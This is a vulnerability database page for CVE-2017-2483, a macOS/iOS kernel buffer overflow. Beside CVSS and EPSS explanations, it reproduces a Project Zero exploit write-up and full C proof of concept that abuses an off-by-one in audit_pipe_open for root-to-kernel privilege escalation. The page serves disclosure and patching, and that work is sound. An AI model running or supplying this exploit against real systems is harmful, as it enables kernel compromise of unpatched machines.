CVE-2017-2483 : Detail

CVE-2017-2483

7.8
/
High
Overflow
10.52%V4
Local
2017-04-01
23h36 +00:00
2017-08-15
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the "Kernel" component. A buffer overflow allows attackers to execute arbitrary code in a privileged context via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41797

Publication date : 2017-04-03 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126 MacOS kernel memory corruption due to off-by-one in audit_pipe_open audit_pipe_open is the special file open handler for the auditpipe device (major number 10.) Here's the code: static int audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype, __unused proc_t p) { struct audit_pipe *ap; int u; u = minor(dev); if (u < 0 || u > MAX_AUDIT_PIPES) return (ENXIO); AUDIT_PIPE_LIST_WLOCK(); ap = audit_pipe_dtab[u]; if (ap == NULL) { ap = audit_pipe_alloc(); if (ap == NULL) { AUDIT_PIPE_LIST_WUNLOCK(); return (ENOMEM); } audit_pipe_dtab[u] = ap; We can control the minor number via mknod. Here's the definition of audit_pipe_dtab: static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES]; There's an off-by-one in the minor number bounds check (u < 0 || u > MAX_AUDIT_PIPES) should be (u < 0 || u >= MAX_AUDIT_PIPES) The other special file operation handlers assume that the minor number of an opened device is correct therefore it isn't validated for example in the ioctl handler: static int audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, __unused proc_t p) { ... ap = audit_pipe_dtab[minor(dev)]; KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL")); ... switch (cmd) { case FIONBIO: AUDIT_PIPE_LOCK(ap); if (*(int *)data) Directly after the audit_pipe_dtab array in the bss is this global variable: static u_int64_t audit_pipe_drops; audit_pipe_drops will be incremented each time an audit message enqueue fails: if (ap->ap_qlen >= ap->ap_qlimit) { ap->ap_drops++; audit_pipe_drops++; return; } So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the struct audit_pipe* which is read out-of-bounds. For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe* then the ioctl will try to use that pointer. This is a root to kernel privesc. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 */ //ianbeer #if 0 MacOS kernel memory corruption due to off-by-one in audit_pipe_open audit_pipe_open is the special file open handler for the auditpipe device (major number 10.) Here's the code: static int audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype, __unused proc_t p) { struct audit_pipe *ap; int u; u = minor(dev); if (u < 0 || u > MAX_AUDIT_PIPES) return (ENXIO); AUDIT_PIPE_LIST_WLOCK(); ap = audit_pipe_dtab[u]; if (ap == NULL) { ap = audit_pipe_alloc(); if (ap == NULL) { AUDIT_PIPE_LIST_WUNLOCK(); return (ENOMEM); } audit_pipe_dtab[u] = ap; We can control the minor number via mknod. Here's the definition of audit_pipe_dtab: static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES]; There's an off-by-one in the minor number bounds check (u < 0 || u > MAX_AUDIT_PIPES) should be (u < 0 || u >= MAX_AUDIT_PIPES) The other special file operation handlers assume that the minor number of an opened device is correct therefore it isn't validated for example in the ioctl handler: static int audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, __unused proc_t p) { ... ap = audit_pipe_dtab[minor(dev)]; KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL")); ... switch (cmd) { case FIONBIO: AUDIT_PIPE_LOCK(ap); if (*(int *)data) Directly after the audit_pipe_dtab array in the bss is this global variable: static u_int64_t audit_pipe_drops; audit_pipe_drops will be incremented each time an audit message enqueue fails: if (ap->ap_qlen >= ap->ap_qlimit) { ap->ap_drops++; audit_pipe_drops++; return; } So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the struct audit_pipe* which is read out-of-bounds. For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe* then the ioctl will try to use that pointer. This is a root to kernel privesc. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <net/bpf.h> #include <net/if.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <bsm/audit.h> #include <security/audit/audit_ioctl.h> int main(int argc, char** argv) { system("rm -rf /dev/auditpipe"); system("mknod /dev/auditpipe c 10 32"); int fd = open("/dev/auditpipe", O_RDWR); if (fd == -1) { perror("failed to open auditpipe device\n"); exit(EXIT_FAILURE); } printf("opened device\n"); system("touch a_log_file"); int auditerr = auditctl("a_log_file"); if (auditerr == -1) { perror("failed to set a new log file\n"); } uint32_t qlim = 1; int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim); if (err == -1) { perror("AUDITPIPE_SET_QLIMIT"); exit(EXIT_FAILURE); } while(1) { char* audit_data = "\x74hello"; int audit_len = strlen(audit_data)+1; audit(audit_data, audit_len); uint32_t nread = 0; int err = ioctl(fd, FIONREAD, &qlim); if (err == -1) { perror("FIONREAD"); exit(EXIT_FAILURE); } } return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (including) 10.2.1

Apple>>Mac_os_x >> Version To (including) 10.12.3

Apple>>Tvos >> Version To (including) 10.1.1

Apple>>Watchos >> Version To (including) 3.1.3

References

http://www.securityfocus.com/bid/97137
Tags : vdb-entry, x_refsource_BID
https://support.apple.com/HT207601
Tags : x_refsource_CONFIRM
https://support.apple.com/HT207615
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1038138
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT207602
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/41797/
Tags : exploit, x_refsource_EXPLOIT-DB
https://support.apple.com/HT207617
Tags : x_refsource_CONFIRM